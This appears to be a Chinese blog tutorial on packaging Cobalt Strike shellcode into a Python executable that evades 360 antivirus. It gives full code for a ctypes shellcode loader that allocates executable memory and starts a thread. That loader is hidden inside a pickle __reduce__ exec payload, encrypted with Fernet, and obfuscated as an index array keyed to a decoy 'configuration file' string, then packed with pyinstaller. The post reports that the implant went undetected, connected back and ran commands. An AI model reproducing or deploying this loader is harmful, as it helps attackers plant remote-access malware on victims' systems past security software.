Python免杀过360

时间:2022-12-23 11:11:11

本文章仅供参考学习

作者:mantou

博客地址:https://www.cnblogs.com/mantou0/

分离免杀

这个我就不多说了,效果确实不错,网上关于分离免杀的也有很多文章

不分离过360

一个exe,过360查杀,看一下我是怎么做的

首先用到的技术有:base64编码,exec函数,pickle模块,类特殊方法:__reduce__,Cryptography对称分组加密,Ctypes库,自己写的数组加密。

base64编码就不说了,应该都懂。

exec函数

exec函数是python的内置函数, 其功能与eval()函数相同, 但不同的是exec函数支持多行python代码的执行, 而eval()函数仅支持单行

exec("""String = "HelloWorld"
print(String)""") 

#在上述的exec执行的python代码中定义了String变量,因此能进行输出
print(String) 

'''
代码执行结果:
HelloWorld
HelloWorld
'''

pickle模块

pickle模块能实现任意对象与文本之间的相互转换, 也可实现任意对象和二进制之间的相互转换, 也就是说pickle能实现python对象的存储及恢复

python中几乎所有的数据类型(列表,字典,集合,类等等)都可以用pickle来序列化, 序列化的数据可读性差且难识别, 通常用于存储数据

pickle.dumps(obj)

dumps功能将数据转换成只有python语言认识的字符串

  • 参数obj: 要封装的对象
import pickle
data = ['henry','helloworld',123]
p_str = pickle.dumps(data)
print(p_str)
#输出b'\x80\x04\x95\x1c\x00\x00\x00\x00\x00\x00\x00]\x94(\x8c\x05henry\x94\x8c\nhelloworld\x94K{e.'

pickle.loads(bytes_obj)

loads功能将pickle数据转换成python的数据结构

  • 参数bytes_obj: pickle_dumps后的数据对象
import pickle
data = ['henry','helloworld',123]
p_str = pickle.dumps(data)
print(p_str)

str = pickle.loads(p_str)
print(str)
#输出:['henry', 'helloworld', 123]

pickle.dump(obj,file,[protocol])

序列化对象, 并将结果数据流写入文件file中

  • 必填参数obj: 将要封装的对象
  • 必填参数file: 要写入的文件对象, file必须以二进制模式打开
  • 参数protocol: 代表序列化模式, 默认值为0, 表示以文本的形式进行序列化, protocol的值为1或2时表示以二进制的形式序列化
import pickle
data = ['henry','helloworld',123]

with open('dump.txt','wb') as file:
    pickle.dump(data,file)

with open('dump.txt','rb') as file:
    print(file.read()) #输出:b'\x80\x04\x95\x1c\x00\x00\x00\x00\x00\x00\x00]\x94(\x8c\x05henry\x94\x8c\nhelloworld\x94K{e.'

pickle.load(file)

反序列化对象, 将文件中的数据解析为一个python对象

  • 必填参数file: 存有pickle数据的文件对象
import pickle
data = ['henry','helloworld',123]

with open('dump.txt','wb') as file:
    pickle.dump(data,file)

with open('dump.txt','rb') as file:
    print(pickle.load(file)) #输出:['henry', 'helloworld', 123]

类特殊方法:__reduce__

当定义扩展类型时(即使用python的C语言API实现的类型), 若你想pickle这些类型, 你必须告诉python如何去pickle

__reduce__方法在类中被定义后, 当对象被pickle时就会被调用, 它要么返回一个代表全局名称的字符串, python会查找此字符串并pickle; 要么返回一个元组, 此元组包含2到5个元素, 第一个元素为可调用的对象, 用于重建对象时调用; 第二个元素是参数元素(必须为元组), 供可调用对象(第一个元素)使用; 另外三个元素分别是: 被传递给__setstate__的状态(可选)、一个产生被pickle的列表元素的迭代器(可选)、一个产生被pickle的字典元素的迭代器(可选)

import pickle
shellcode = "list1 = [1,2,3,4]"

class A(object):
   def __reduce__(self):
       return (exec,(shellcode,))

#当实例对象被pickle后,则会调用特殊方法__reduce__,所以下列代码相当于pickle.dumps((exec,(shellcode,)))
ret = pickle.dumps(A())

print(ret)
#输出:b'\x80\x04\x95-\x00\x00\x00\x00\x00\x00\x00\x8c\x08builtins\x94\x8c\x04exec\x94\x93\x94\x8c\x11list1 = [1,2,3,4]\x94\x85\x94R\x94.'

Cryptography

简介

Cryptography是python语言中非常著名的加解密库,在算法层面提供了高层次的抽象,使用起来非常简单、直观,同时还保留了各种不同算法的低级别接口,保留灵活性

我们知道加密一般分为对称加密(Symmetric Key Encryption)和非对称加密(Asymmetric Key Encryption)。各自对应多种不同的算法,每种算法又有不同的密钥位长要求,另外还涉及到不同的分组加密模式,以及末尾补齐方式。因此需要高层次的抽象,把这些参数封装起来,让我们使用时,不用关心这么多参数,只要知道这么用足够安全就够了

对称加密又分为分组加密和序列加密,本文只讨论对称分组加密

  • 主流对称分组加密算法:DES、3DES、AES
  • 主流对称分组加密模式:ECB、CBC、CFB、OFB
  • 主流填充标准:PKCS7、ISO 10126、ANSI X.923、Zero padding

在cryptography库中,对称加密算法的抽象是fernet模块,包括了对数据的加解密以及签名验证功能,以及密钥过期机制,该模块采用了如下定义:

  • 加解密算法为AES,密钥位长128,CBC模式,填充标准PKCS7
  • 签名算法为SHA256的HMAC,密钥位长128位
  • 密钥可以设置过期时间

使用实例

from cryptography.fernet import Fernet

String = b"Hello World"

#生成密钥
key = Fernet.generate_key()
print(key) #输出key: b'wmCNyvzUekp_JWEHUcTy4vS2qMrWDXbKOfTooYD1WiI='
f_obj = Fernet(key) #定义一个用于实现加密和解密方法的对象

#进行加密
encrypt_String = f_obj.encrypt(String)
print(encrypt_String) #输出加密后的内容: b'gAAAAABjetNK7sjOoosLI-KcPGdwvQQJVnhwYR9JIeGUx3hJ3qKOQXkaKiGgrlj8wr-tMZdhFKcoK75oONPP4rEDVna5cITQ9g=='

#进行解密
decrypt_String = f_obj.decrypt(encrypt_String)
print(decrypt_String) #输出解密后的内容: b'Hello World'

Ctypes库

Ctypes 是 Python 的外部函数库。提供了与 C 兼容的数据类型,并允许调用 DLL 或共享库中的函数。可使用该模块以纯 Python 形式对这些库进行封装

而本编文章主要调用系统DLL的函数有VirtualAllocRtlMoveMemoryCreateThreadWaitForSingleObject, 这些函数后文都会讲述

数组加密

数组加密其实就是利用字符串将shellcode转换成数组的形式,然后利用字符串还原shellcode,字符串就相当于密钥,也可以说成将shellcode转换成字符串的索引数组,例如:

list_char = "This is a configuration file please do not delete,configuration No 'bjABkmpxyz-RSUOPQVEFGHIJKLMWXYZ_3102qvw485CD967="
list_index = "123123"
#加密
index_b = []
for i in list_index:
    index_a = list_char.index(i)
    index_b.append(index_a)
print("加密结果:",index_b)

#解密
index_c = ""
for i in index_b:
    index_c += list_char[i]
print("解密结果:",index_c)
结果为:
加密结果: [101, 103, 100, 101, 103, 100]
解密结果: 123123

具体操作

第一步:我们获取Cobalt Strike将shellcode进行base64加密

代码是这样的,他会将base64代码保存到1.txt

import base64
import pickle
shellcode =你生成的shellcode(b'xxxxxxx'形式)
with open('1.txt','wb') as f:
    f.write(base64.b64encode(shellcode))

第二步:加密数组生成:

# pickle dump
import pickle

from cryptography.fernet import Fernet

shellcode = """
import ctypes
import base64

shellcode= base64.b64decode("此处放入base64编码后的shellcode")
shellcode= bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype= ctypes.c_uint64
ptr= ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))
buf= (ctypes.c_char *len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
   ctypes.c_uint64(ptr),
   buf,
   ctypes.c_int(len(shellcode))
)
handle= ctypes.windll.kernel32.CreateThread(
   ctypes.c_int(0),
   ctypes.c_int(0),
   ctypes.c_uint64(ptr),
   ctypes.c_int(0),
   ctypes.c_int(0),
   ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
"""

#cryptography 加密
def EncryptTXT(ret):
    key = Fernet.generate_key()
    f = Fernet(key)
    enc_pay = f.encrypt(bytes(bytearray(ret)))
    return key, enc_pay.decode()

def arraydecode(rr):
    list_char = "This is a configuration file please do not delete,configuration No 'bjABkmpxyz-RSUOPQVEFGHIJKLMWXYZ_3102qvw485CD967="
    # 数组加密
    index_b = []
    for i in rr:
        index_a = list_char.index(str(i))
        index_b.append(index_a)
    return index_b

#魔法函数
class A(object):
    def __reduce__(self):
        return (exec, (shellcode,))


ret = pickle.dumps(A())
key,miwen = EncryptTXT(ret)
arraykey = arraydecode(str(key))
arrayindex = arraydecode(miwen)
print(key)#输出密钥
print(arrayindex)#输出加密后形成的的数组

结果是这样的:
b'HkbuHfk3N_01YNu46wIHTNIQr1ZvDA8bp-LW5gwIppY='
[15, 70, 70, 70, 70, 70, 71, 69, 29, 84, 10, 79,xxxxxxxxxxxxxxxxxxx]

第三步:python免杀马生成

填入第二步生成的数组,就是一个python马了

import pickle
from cryptography.fernet import Fernet
import ctypes

list_char =  "This is a configuration file please do not delete,configuration No 'bjABkmpxyz-RSUOPQVEFGHIJKLMWXYZ_3102qvw485CD967="

def jiemi(index_b):
    index_c = ""
    for i in index_b:
        index_c += list_char[i]
    return index_c
arrayindex = 此处填入第二步生成的加密数组(类型为:[x,x,x,x,x,x......])

temp = jiemi(arrayindex)
temp = bytes(temp, encoding = "utf8")
key = b'lVRwv6R_rjbzbuk-1orl3pZRoATDcBmSZRbY58-PHhg='
f_obj = Fernet(key)
temp = f_obj.decrypt(temp)
shellcode=pickle.loads(temp)

第四步:打包

将第三步的代码打包成exe,使用pyinstaller的打包方式就可以,exe会生成在dist文件夹

pyinstaller -F -w 4.py	这样打包就可以
pyinstaller -F -w -i 2.ico 4.py	带图标打包,图标要和程序放在同一个目录

Python免杀过360

实战效果

360木马查杀扫不出来

Python免杀过360

再试一下能不能上线,双击之后360没有任何提示,成功上线

Python免杀过360

执行命令,也是能执行成功

Python免杀过360

文章参考:https://www.cnblogs.com/henry666/p/16910624.html